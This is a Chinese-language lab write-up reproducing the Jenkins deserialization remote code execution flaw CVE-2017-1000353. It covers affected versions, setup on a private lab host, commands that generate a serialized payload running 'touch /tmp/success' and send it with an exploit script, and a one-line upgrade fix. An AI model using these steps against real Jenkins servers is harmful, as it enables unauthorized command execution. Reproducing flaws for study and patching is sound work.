Jenkins Java 反序列化遠程執行代碼漏洞(CVE-2017-1000353)
一、漏洞描述
該漏洞存在於使用HTTP協議的雙向通信通道的具體實現代碼中,jenkins利用此通道來接收命令,惡意攻擊者可以構造惡意攻擊參數遠程執行命令,從而獲取系統權限,造成數據泄露。
二、漏洞影響版本
所有jenkins主版本均受到影響(包括<=2.56版本)
所有的jenkins LTS均受到影響(包括<=2.46.1版本)
三、漏洞環境搭建
1、 官方下載jenkins-2.46-1.1.noarch.rpm,下載地址:http://mirrors.jenkins.io
2、 在redhat安裝jenkins
rpm -ivh jenkins-2.46-1.1.noarch.rpm
3、開啟jenkins服務
4、瀏覽器訪問http://192.168.10.137:8080,如下圖所示需要輸入密碼,密碼文件在如下圖位置
5、查看密碼文件,輸入密碼后進入如下界面,選擇安裝建議的插件
6、安裝完插件之后,進入如下界面,設置用戶名和密碼
7、設置完用戶和密碼之后,進入如下界面,點擊如下圖位置,到此為止,jenkins環境搭建成功
四、漏洞復現
1、 下載生成POC的反序列化工具(CVE-2017-1000353-1.1-SNAPSHOT-all.jar),下載地址: https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
2、 執行下面命令,生成字節碼文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
3、 執行上述代碼后,生成jenkins_poc.ser文件,這就是序列化字符串
4、 下載漏洞利用代碼exploit.py,下載地址: https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
5、 修改exploit.py,把proxies里面的內容注釋掉
6、執行如下命令,把剛才生成的字節碼文件(Jenkins_poc.ser)發送給目標
python exploit.py http://192.168.10.137:8080 jenkins_poc.ser
7、在redhat下查看/tmp目錄下是否成功創建success文件,說明漏洞利用成功
五、漏洞防御
1、升級版本